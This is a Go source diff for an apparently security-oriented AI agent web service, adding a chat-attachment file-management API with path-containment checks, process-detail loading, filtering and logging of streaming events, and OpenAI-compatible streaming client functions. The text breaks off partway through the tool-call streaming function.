@@ -567,6 +569,7 @@ func setupRoutes(
|
||||
app *App, // 传递 App 实例以便动态获取 knowledgeHandler
|
||||
vulnerabilityHandler *handler.VulnerabilityHandler,
|
||||
webshellHandler *handler.WebShellHandler,
|
||||
chatUploadsHandler *handler.ChatUploadsHandler,
|
||||
roleHandler *handler.RoleHandler,
|
||||
skillsHandler *handler.SkillsHandler,
|
||||
fofaHandler *handler.FofaHandler,
|
||||
@@ -838,6 +841,15 @@ func setupRoutes(
|
||||
protected.POST("/webshell/exec", webshellHandler.Exec)
|
||||
protected.POST("/webshell/file", webshellHandler.FileOp)
|
||||
|
||||
// 对话附件(chat_uploads)管理
|
||||
protected.GET("/chat-uploads", chatUploadsHandler.List)
|
||||
protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
|
||||
protected.GET("/chat-uploads/content", chatUploadsHandler.GetContent)
|
||||
protected.POST("/chat-uploads", chatUploadsHandler.Upload)
|
||||
protected.DELETE("/chat-uploads", chatUploadsHandler.Delete)
|
||||
protected.PUT("/chat-uploads/rename", chatUploadsHandler.Rename)
|
||||
protected.PUT("/chat-uploads/content", chatUploadsHandler.PutContent)
|
||||
|
||||
// 角色管理
|
||||
protected.GET("/roles", roleHandler.GetRoles)
|
||||
protected.GET("/roles/:name", roleHandler.GetRole)
|
||||
|
||||
@@ -103,6 +103,37 @@ func (db *DB) GetConversationByWebshellConnectionID(connectionID string) (*Conve
|
||||
return nil, fmt.Errorf("加载消息失败: %w", err)
|
||||
}
|
||||
conv.Messages = messages
|
||||
|
||||
// 加载过程详情并附加到对应消息(与 GetConversation 一致,便于刷新后仍可查看执行过程)
|
||||
processDetailsMap, err := db.GetProcessDetailsByConversation(conv.ID)
|
||||
if err != nil {
|
||||
db.logger.Warn("加载过程详情失败", zap.Error(err))
|
||||
processDetailsMap = make(map[string][]ProcessDetail)
|
||||
}
|
||||
for i := range conv.Messages {
|
||||
if details, ok := processDetailsMap[conv.Messages[i].ID]; ok {
|
||||
detailsJSON := make([]map[string]interface{}, len(details))
|
||||
for j, detail := range details {
|
||||
var data interface{}
|
||||
if detail.Data != "" {
|
||||
if err := json.Unmarshal([]byte(detail.Data), &data); err != nil {
|
||||
db.logger.Warn("解析过程详情数据失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
detailsJSON[j] = map[string]interface{}{
|
||||
"id": detail.ID,
|
||||
"messageId": detail.MessageID,
|
||||
"conversationId": detail.ConversationID,
|
||||
"eventType": detail.EventType,
|
||||
"message": detail.Message,
|
||||
"data": data,
|
||||
"createdAt": detail.CreatedAt,
|
||||
}
|
||||
}
|
||||
conv.Messages[i].ProcessDetails = detailsJSON
|
||||
}
|
||||
}
|
||||
|
||||
return &conv, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -662,8 +662,16 @@ func (h *AgentHandler) createProgressCallback(conversationID, assistantMessageID
|
||||
}
|
||||
}
|
||||
|
||||
// 保存过程详情到数据库(排除response和done事件,它们会在后面单独处理)
|
||||
if assistantMessageID != "" && eventType != "response" && eventType != "done" {
|
||||
// 保存过程详情到数据库(排除response/done事件,它们会在后面单独处理)
|
||||
// 另外:response_start/response_delta 是模型流式增量,保存会导致过程详情膨胀,因此不落库。
|
||||
if assistantMessageID != "" &&
|
||||
eventType != "response" &&
|
||||
eventType != "done" &&
|
||||
eventType != "response_start" &&
|
||||
eventType != "response_delta" &&
|
||||
eventType != "tool_result_delta" &&
|
||||
eventType != "thinking_stream_start" &&
|
||||
eventType != "thinking_stream_delta" {
|
||||
if err := h.db.AddProcessDetail(assistantMessageID, conversationID, eventType, message, data); err != nil {
|
||||
h.logger.Warn("保存过程详情失败", zap.Error(err), zap.String("eventType", eventType))
|
||||
}
|
||||
@@ -703,8 +711,53 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
|
||||
// 发送初始事件
|
||||
// 用于跟踪客户端是否已断开连接
|
||||
clientDisconnected := false
|
||||
// 用于快速确认模型是否真的产生了流式 delta
|
||||
var responseDeltaCount int
|
||||
var responseStartLogged bool
|
||||
|
||||
sendEvent := func(eventType, message string, data interface{}) {
|
||||
if eventType == "response_start" {
|
||||
responseDeltaCount = 0
|
||||
responseStartLogged = true
|
||||
h.logger.Info("SSE: response_start",
|
||||
zap.Int("conversationIdPresent", func() int {
|
||||
if m, ok := data.(map[string]interface{}); ok {
|
||||
if v, ok2 := m["conversationId"]; ok2 && v != nil && fmt.Sprint(v) != "" {
|
||||
return 1
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}()),
|
||||
zap.String("messageGeneratedBy", func() string {
|
||||
if m, ok := data.(map[string]interface{}); ok {
|
||||
if v, ok2 := m["messageGeneratedBy"]; ok2 {
|
||||
if s, ok3 := v.(string); ok3 {
|
||||
return s
|
||||
}
|
||||
return fmt.Sprint(v)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}()),
|
||||
)
|
||||
} else if eventType == "response_delta" {
|
||||
responseDeltaCount++
|
||||
// 只打前几条,避免刷屏
|
||||
if responseStartLogged && responseDeltaCount <= 3 {
|
||||
h.logger.Info("SSE: response_delta",
|
||||
zap.Int("index", responseDeltaCount),
|
||||
zap.Int("deltaLen", len(message)),
|
||||
zap.String("deltaPreview", func() string {
|
||||
p := strings.ReplaceAll(message, "\n", "\\n")
|
||||
if len(p) > 80 {
|
||||
return p[:80] + "..."
|
||||
}
|
||||
return p
|
||||
}()),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// 如果客户端已断开,不再发送事件
|
||||
if clientDisconnected {
|
||||
return
|
||||
|
||||
@@ -0,0 +1,413 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
const (
|
||||
chatUploadsRootDirName = "chat_uploads"
|
||||
maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
|
||||
)
|
||||
|
||||
// ChatUploadsHandler 对话中上传附件(chat_uploads 目录)的管理 API
|
||||
type ChatUploadsHandler struct {
|
||||
logger *zap.Logger
|
||||
}
|
||||
|
||||
// NewChatUploadsHandler 创建处理器
|
||||
func NewChatUploadsHandler(logger *zap.Logger) *ChatUploadsHandler {
|
||||
return &ChatUploadsHandler{logger: logger}
|
||||
}
|
||||
|
||||
func (h *ChatUploadsHandler) absRoot() (string, error) {
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Abs(filepath.Join(cwd, chatUploadsRootDirName))
|
||||
}
|
||||
|
||||
// resolveUnderChatUploads 校验 relativePath(使用 / 分隔)对应文件必须在 chat_uploads 根下
|
||||
func (h *ChatUploadsHandler) resolveUnderChatUploads(relativePath string) (abs string, err error) {
|
||||
root, err := h.absRoot()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
rel := strings.TrimSpace(relativePath)
|
||||
if rel == "" {
|
||||
return "", fmt.Errorf("empty path")
|
||||
}
|
||||
rel = filepath.Clean(filepath.FromSlash(rel))
|
||||
if rel == "." || strings.HasPrefix(rel, "..") {
|
||||
return "", fmt.Errorf("invalid path")
|
||||
}
|
||||
full := filepath.Join(root, rel)
|
||||
full, err = filepath.Abs(full)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
rootAbs, _ := filepath.Abs(root)
|
||||
if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
|
||||
return "", fmt.Errorf("path escapes chat_uploads root")
|
||||
}
|
||||
return full, nil
|
||||
}
|
||||
|
||||
// ChatUploadFileItem 列表项
|
||||
type ChatUploadFileItem struct {
|
||||
RelativePath string `json:"relativePath"`
|
||||
AbsolutePath string `json:"absolutePath"` // 服务器上的绝对路径,便于在对话中引用(与附件落盘路径一致)
|
||||
Name string `json:"name"`
|
||||
Size int64 `json:"size"`
|
||||
ModifiedUnix int64 `json:"modifiedUnix"`
|
||||
Date string `json:"date"`
|
||||
ConversationID string `json:"conversationId"`
|
||||
// SubPath 为日期、会话目录之下的子路径(不含文件名),如 date/conv/a/b/file 则为 "a/b";无嵌套则为 ""。
|
||||
SubPath string `json:"subPath"`
|
||||
}
|
||||
|
||||
// List GET /api/chat-uploads
|
||||
func (h *ChatUploadsHandler) List(c *gin.Context) {
|
||||
conversationFilter := strings.TrimSpace(c.Query("conversation"))
|
||||
root, err := h.absRoot()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if _, err := os.Stat(root); os.IsNotExist(err) {
|
||||
c.JSON(http.StatusOK, gin.H{"files": []ChatUploadFileItem{}})
|
||||
return
|
||||
}
|
||||
var files []ChatUploadFileItem
|
||||
err = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil {
|
||||
return walkErr
|
||||
}
|
||||
if d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
info, err := d.Info()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel, err := filepath.Rel(root, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
relSlash := filepath.ToSlash(rel)
|
||||
parts := strings.Split(relSlash, "/")
|
||||
var dateStr, convID string
|
||||
if len(parts) >= 2 {
|
||||
dateStr = parts[0]
|
||||
}
|
||||
if len(parts) >= 3 {
|
||||
convID = parts[1]
|
||||
}
|
||||
var subPath string
|
||||
if len(parts) >= 4 {
|
||||
subPath = strings.Join(parts[2:len(parts)-1], "/")
|
||||
}
|
||||
if conversationFilter != "" && convID != conversationFilter {
|
||||
return nil
|
||||
}
|
||||
absPath, _ := filepath.Abs(path)
|
||||
files = append(files, ChatUploadFileItem{
|
||||
RelativePath: relSlash,
|
||||
AbsolutePath: absPath,
|
||||
Name: d.Name(),
|
||||
Size: info.Size(),
|
||||
ModifiedUnix: info.ModTime().Unix(),
|
||||
Date: dateStr,
|
||||
ConversationID: convID,
|
||||
SubPath: subPath,
|
||||
})
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
h.logger.Warn("列举对话附件失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
sort.Slice(files, func(i, j int) bool {
|
||||
return files[i].ModifiedUnix > files[j].ModifiedUnix
|
||||
})
|
||||
c.JSON(http.StatusOK, gin.H{"files": files})
|
||||
}
|
||||
|
||||
// Download GET /api/chat-uploads/download?path=...
|
||||
func (h *ChatUploadsHandler) Download(c *gin.Context) {
|
||||
p := c.Query("path")
|
||||
abs, err := h.resolveUnderChatUploads(p)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
st, err := os.Stat(abs)
|
||||
if err != nil || st.IsDir() {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
|
||||
return
|
||||
}
|
||||
c.FileAttachment(abs, filepath.Base(abs))
|
||||
}
|
||||
|
||||
type chatUploadPathBody struct {
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// Delete DELETE /api/chat-uploads
|
||||
func (h *ChatUploadsHandler) Delete(c *gin.Context) {
|
||||
var body chatUploadPathBody
|
||||
if err := c.ShouldBindJSON(&body); err != nil || strings.TrimSpace(body.Path) == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
|
||||
return
|
||||
}
|
||||
abs, err := h.resolveUnderChatUploads(body.Path)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
st, err := os.Stat(abs)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if st.IsDir() {
|
||||
if err := os.RemoveAll(abs); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
} else {
|
||||
if err := os.Remove(abs); err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"ok": true})
|
||||
}
|
||||
|
||||
type chatUploadRenameBody struct {
|
||||
Path string `json:"path"`
|
||||
NewName string `json:"newName"`
|
||||
}
|
||||
|
||||
// Rename PUT /api/chat-uploads/rename
|
||||
func (h *ChatUploadsHandler) Rename(c *gin.Context) {
|
||||
var body chatUploadRenameBody
|
||||
if err := c.ShouldBindJSON(&body); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
|
||||
return
|
||||
}
|
||||
newName := strings.TrimSpace(body.NewName)
|
||||
if newName == "" || strings.ContainsAny(newName, `/\`) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid newName"})
|
||||
return
|
||||
}
|
||||
abs, err := h.resolveUnderChatUploads(body.Path)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
dir := filepath.Dir(abs)
|
||||
newAbs := filepath.Join(dir, filepath.Base(newName))
|
||||
root, _ := h.absRoot()
|
||||
newAbs, _ = filepath.Abs(newAbs)
|
||||
if newAbs != root && !strings.HasPrefix(newAbs, root+string(filepath.Separator)) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid target path"})
|
||||
return
|
||||
}
|
||||
if err := os.Rename(abs, newAbs); err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
newRel, _ := filepath.Rel(root, newAbs)
|
||||
c.JSON(http.StatusOK, gin.H{"ok": true, "relativePath": filepath.ToSlash(newRel)})
|
||||
}
|
||||
|
||||
type chatUploadContentBody struct {
|
||||
Path string `json:"path"`
|
||||
Content string `json:"content"`
|
||||
}
|
||||
|
||||
// GetContent GET /api/chat-uploads/content?path=...
|
||||
func (h *ChatUploadsHandler) GetContent(c *gin.Context) {
|
||||
p := c.Query("path")
|
||||
abs, err := h.resolveUnderChatUploads(p)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
st, err := os.Stat(abs)
|
||||
if err != nil || st.IsDir() {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
|
||||
return
|
||||
}
|
||||
if st.Size() > maxChatUploadEditBytes {
|
||||
c.JSON(http.StatusRequestEntityTooLarge, gin.H{"error": "file too large for editor"})
|
||||
return
|
||||
}
|
||||
b, err := os.ReadFile(abs)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if !utf8.Valid(b) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "binary file not editable in UI"})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"content": string(b)})
|
||||
}
|
||||
|
||||
// PutContent PUT /api/chat-uploads/content
|
||||
func (h *ChatUploadsHandler) PutContent(c *gin.Context) {
|
||||
var body chatUploadContentBody
|
||||
if err := c.ShouldBindJSON(&body); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
|
||||
return
|
||||
}
|
||||
if !utf8.ValidString(body.Content) {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "content must be valid UTF-8"})
|
||||
return
|
||||
}
|
||||
if len(body.Content) > maxChatUploadEditBytes {
|
||||
c.JSON(http.StatusRequestEntityTooLarge, gin.H{"error": "content too large"})
|
||||
return
|
||||
}
|
||||
abs, err := h.resolveUnderChatUploads(body.Path)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(abs, []byte(body.Content), 0644); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{"ok": true})
|
||||
}
|
||||
|
||||
func chatUploadShortRand(n int) string {
|
||||
const letters = "0123456789abcdef"
|
||||
b := make([]byte, n)
|
||||
_, _ = rand.Read(b)
|
||||
for i := range b {
|
||||
b[i] = letters[int(b[i])%len(letters)]
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// Upload POST /api/chat-uploads multipart: file;conversationId 可选;relativeDir 可选(chat_uploads 下目录的相对路径,将文件直接上传至该目录)
|
||||
func (h *ChatUploadsHandler) Upload(c *gin.Context) {
|
||||
fh, err := c.FormFile("file")
|
||||
if err != nil || fh == nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "missing file"})
|
||||
return
|
||||
}
|
||||
root, err := h.absRoot()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
var targetDir string
|
||||
targetRel := strings.TrimSpace(c.PostForm("relativeDir"))
|
||||
if targetRel != "" {
|
||||
absDir, err := h.resolveUnderChatUploads(targetRel)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
st, err := os.Stat(absDir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
if err := os.MkdirAll(absDir, 0755); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
} else {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
} else if !st.IsDir() {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "relativeDir is not a directory"})
|
||||
return
|
||||
}
|
||||
targetDir = absDir
|
||||
} else {
|
||||
convID := strings.TrimSpace(c.PostForm("conversationId"))
|
||||
convDir := convID
|
||||
if convDir == "" {
|
||||
convDir = "_manual"
|
||||
} else {
|
||||
convDir = strings.ReplaceAll(convDir, string(filepath.Separator), "_")
|
||||
}
|
||||
dateStr := time.Now().Format("2006-01-02")
|
||||
targetDir = filepath.Join(root, dateStr, convDir)
|
||||
if err := os.MkdirAll(targetDir, 0755); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
}
|
||||
baseName := filepath.Base(fh.Filename)
|
||||
if baseName == "" || baseName == "." {
|
||||
baseName = "file"
|
||||
}
|
||||
baseName = strings.ReplaceAll(baseName, string(filepath.Separator), "_")
|
||||
ext := filepath.Ext(baseName)
|
||||
nameNoExt := strings.TrimSuffix(baseName, ext)
|
||||
suffix := fmt.Sprintf("_%s_%s", time.Now().Format("150405"), chatUploadShortRand(6))
|
||||
var unique string
|
||||
if ext != "" {
|
||||
unique = nameNoExt + suffix + ext
|
||||
} else {
|
||||
unique = baseName + suffix
|
||||
}
|
||||
fullPath := filepath.Join(targetDir, unique)
|
||||
src, err := fh.Open()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
defer src.Close()
|
||||
dst, err := os.Create(fullPath)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
defer dst.Close()
|
||||
if _, err := io.Copy(dst, src); err != nil {
|
||||
_ = os.Remove(fullPath)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
rel, _ := filepath.Rel(root, fullPath)
|
||||
absSaved, _ := filepath.Abs(fullPath)
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"ok": true,
|
||||
"relativePath": filepath.ToSlash(rel),
|
||||
"absolutePath": absSaved,
|
||||
"name": unique,
|
||||
})
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package openai
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
@@ -142,3 +143,342 @@ func (c *Client) ChatCompletion(ctx context.Context, payload interface{}, out in
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ChatCompletionStream 调用 /chat/completions 的流式模式(stream=true),并在每个 delta 到达时回调 onDelta。
|
||||
// 返回最终拼接的 content(只拼 content delta;工具调用 delta 未做处理)。
|
||||
func (c *Client) ChatCompletionStream(ctx context.Context, payload interface{}, onDelta func(delta string) error) (string, error) {
|
||||
if c == nil {
|
||||
return "", fmt.Errorf("openai client is not initialized")
|
||||
}
|
||||
if c.config == nil {
|
||||
return "", fmt.Errorf("openai config is nil")
|
||||
}
|
||||
if strings.TrimSpace(c.config.APIKey) == "" {
|
||||
return "", fmt.Errorf("openai api key is empty")
|
||||
}
|
||||
|
||||
baseURL := strings.TrimSuffix(c.config.BaseURL, "/")
|
||||
if baseURL == "" {
|
||||
baseURL = "https://api.openai.com/v1"
|
||||
}
|
||||
|
||||
body, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("marshal openai payload: %w", err)
|
||||
}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, baseURL+"/chat/completions", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("build openai request: %w", err)
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("Authorization", "Bearer "+c.config.APIKey)
|
||||
|
||||
requestStart := time.Now()
|
||||
resp, err := c.httpClient.Do(req)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("call openai api: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// 非200:读完 body 返回
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
respBody, _ := io.ReadAll(resp.Body)
|
||||
return "", &APIError{
|
||||
StatusCode: resp.StatusCode,
|
||||
Body: string(respBody),
|
||||
}
|
||||
}
|
||||
|
||||
type streamDelta struct {
|
||||
// OpenAI 兼容流式通常使用 content;但部分兼容实现可能用 text。
|
||||
Content string `json:"content,omitempty"`
|
||||
Text string `json:"text,omitempty"`
|
||||
}
|
||||
type streamChoice struct {
|
||||
Delta streamDelta `json:"delta"`
|
||||
FinishReason *string `json:"finish_reason,omitempty"`
|
||||
}
|
||||
type streamResponse struct {
|
||||
ID string `json:"id,omitempty"`
|
||||
Choices []streamChoice `json:"choices"`
|
||||
Error *struct {
|
||||
Message string `json:"message"`
|
||||
Type string `json:"type"`
|
||||
} `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
reader := bufio.NewReader(resp.Body)
|
||||
var full strings.Builder
|
||||
|
||||
// 典型 SSE 结构:
|
||||
// data: {...}\n\n
|
||||
// data: [DONE]\n\n
|
||||
for {
|
||||
line, readErr := reader.ReadString('\n')
|
||||
if readErr != nil {
|
||||
if readErr == io.EOF {
|
||||
break
|
||||
}
|
||||
return full.String(), fmt.Errorf("read openai stream: %w", readErr)
|
||||
}
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if trimmed == "" {
|
||||
continue
|
||||
}
|
||||
if !strings.HasPrefix(trimmed, "data:") {
|
||||
continue
|
||||
}
|
||||
dataStr := strings.TrimSpace(strings.TrimPrefix(trimmed, "data:"))
|
||||
if dataStr == "[DONE]" {
|
||||
break
|
||||
}
|
||||
|
||||
var chunk streamResponse
|
||||
if err := json.Unmarshal([]byte(dataStr), &chunk); err != nil {
|
||||
// 解析失败跳过(兼容各种兼容层的差异)
|
||||
continue
|
||||
}
|
||||
if chunk.Error != nil && strings.TrimSpace(chunk.Error.Message) != "" {
|
||||
return full.String(), fmt.Errorf("openai stream error: %s", chunk.Error.Message)
|
||||
}
|
||||
if len(chunk.Choices) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
delta := chunk.Choices[0].Delta.Content
|
||||
if delta == "" {
|
||||
delta = chunk.Choices[0].Delta.Text
|
||||
}
|
||||
if delta == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
full.WriteString(delta)
|
||||
if onDelta != nil {
|
||||
if err := onDelta(delta); err != nil {
|
||||
return full.String(), err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
c.logger.Debug("received OpenAI stream completion",
|
||||
zap.Duration("duration", time.Since(requestStart)),
|
||||
zap.Int("contentLen", full.Len()),
|
||||
)
|
||||
|
||||
return full.String(), nil
|
||||
}
|
||||
|
||||
// StreamToolCall 流式工具调用的累积结果(arguments 以字符串形式拼接,留给上层再解析为 JSON)。
|
||||
type StreamToolCall struct {
|
||||
Index int
|
||||
ID string
|
||||
Type string
|
||||
FunctionName string
|
||||
FunctionArgsStr string
|
||||
}
|
||||
|
||||
// ChatCompletionStreamWithToolCalls 流式模式:同时把 content delta 实时回调,并在结束后返回 tool_calls 和 finish_reason。
|
||||
func (c *Client) ChatCompletionStreamWithToolCalls(
|
||||
ctx context.Context,
|
||||
payload interface{},
|
||||
onContentDelta func(delta string) error,
|
||||
) (string, []StreamToolCall, string, error) {
|
||||
if c == nil {
|
||||
return "", nil, "", fmt.Errorf("openai client is not initialized")
|
||||
}
|
||||
if c.config == nil {
|
||||
return "", nil, "", fmt.Errorf("openai config is nil")
|
||||
}
|
||||
if strings.TrimSpace(c.config.APIKey) == "" {
|
||||
return "", nil, "", fmt.Errorf("openai api key is empty")
|
||||
}
|
||||
|
||||
baseURL := strings.TrimSuffix(c.config.BaseURL, "/")
|
||||
if baseURL == "" {
|
||||
baseURL = "https://api.openai.com/v1"
|
||||
}
|
||||
|
||||
body, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
return "", nil, "", fmt.Errorf("marshal openai payload: %w", err)
|
||||
}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, baseURL+"/chat/completions", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return "", nil, "", fmt.Errorf("build openai request: %w", err)
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("Authorization", "Bearer "+c.config.APIKey)
|
||||
|
||||
requestStart := time.Now()
|
||||
resp, err := c.httpClient.Do(req)
|
||||
if err != nil {
|
||||
return "", nil, "", fmt.Errorf("call openai api: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
respBody, _ := io.ReadAll(resp.Body)
|
||||
return "", nil, "", &APIError{
|
||||
StatusCode: resp.StatusCode,
|
||||
Body: string(respBody),
|
||||
}
|
||||
}
|
||||
|
||||
// delta tool_calls 的增量结构
|
||||
type toolCallFunctionDelta struct {
|
||||
Name string `json:"name,omitempty"`
|
||||
Arguments string `json:"arguments,omitempty"`
|
||||
}
|
||||
type toolCallDelta struct {
|
||||
Index int `json:"index,omitempty"`
|
||||
ID string `json:"id,omitempty"`
|
||||
Type string `json:"type,omitempty"`
|
||||
Function toolCallFunctionDelta `json:"function,omitempty"`
|
||||
}
|
||||
type streamDelta2 struct {
|
||||
Content string `json:"content,omitempty"`
|
||||
Text string `json:"text,omitempty"`
|
||||
ToolCalls []toolCallDelta `json:"tool_calls,omitempty"`
|
||||
}
|
||||
type streamChoice2 struct {
|
||||
Delta streamDelta2 `json:"delta"`
|
||||
FinishReason *string `json:"finish_reason,omitempty"`
|
||||
}
|
||||
type streamResponse2 struct {
|
||||
Choices []streamChoice2 `json:"choices"`
|
||||
Error *struct {
|
||||
Message string `json:"message"`
|
||||
Type string `json:"type"`
|
||||
} `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type toolCallAccum struct {
|
||||
id string
|
||||
typ string
|
||||
name string
|
||||
args strings.Builder
|
||||
}
|
||||
toolCallAccums := make(map[int]*toolCallAccum)
|
||||
|
||||
reader := bufio.NewReader(resp.Body)
|
||||
var full strings.Builder
|
||||
finishReason := ""
|
||||
|
||||
for {
|
||||
line, readErr := reader.ReadString('\n')
|
||||
if readErr != nil {
|
||||
if readErr == io.EOF {
|
||||
break
|
||||
}
|
||||
return full.String(), nil, finishReason, fmt.Errorf("read openai stream: %w", readErr)
|
||||
}
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if trimmed == "" {
|
||||
continue
|
||||
}
|
||||
if !strings.HasPrefix(trimmed, "data:") {
|
||||
continue
|
||||
}
|
||||
dataStr := strings.TrimSpace(strings.TrimPrefix(trimmed, "data:"))
|
||||
if dataStr == "[DONE]" {
|
||||
break
|
||||
}
|
||||
|
||||
var chunk streamResponse2
|
||||
if err := json.Unmarshal([]byte(dataStr), &chunk); err != nil {
|
||||
// 兼容:解析失败跳过
|
||||
continue
|
||||
}
|
||||
if chunk.Error != nil && strings.TrimSpace(chunk.Error.Message) != "" {
|
||||
return full.String(), nil, finishReason, fmt.Errorf("openai stream error: %s", chunk.Error.Message)
|
||||
}
|
||||
if len(chunk.Choices) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
choice := chunk.Choices[0]
|
||||
if choice.FinishReason != nil && strings.TrimSpace(*choice.FinishReason) != "" {
|
||||
finishReason = strings.TrimSpace(*choice.FinishReason)
|
||||
}
|
||||
|
||||
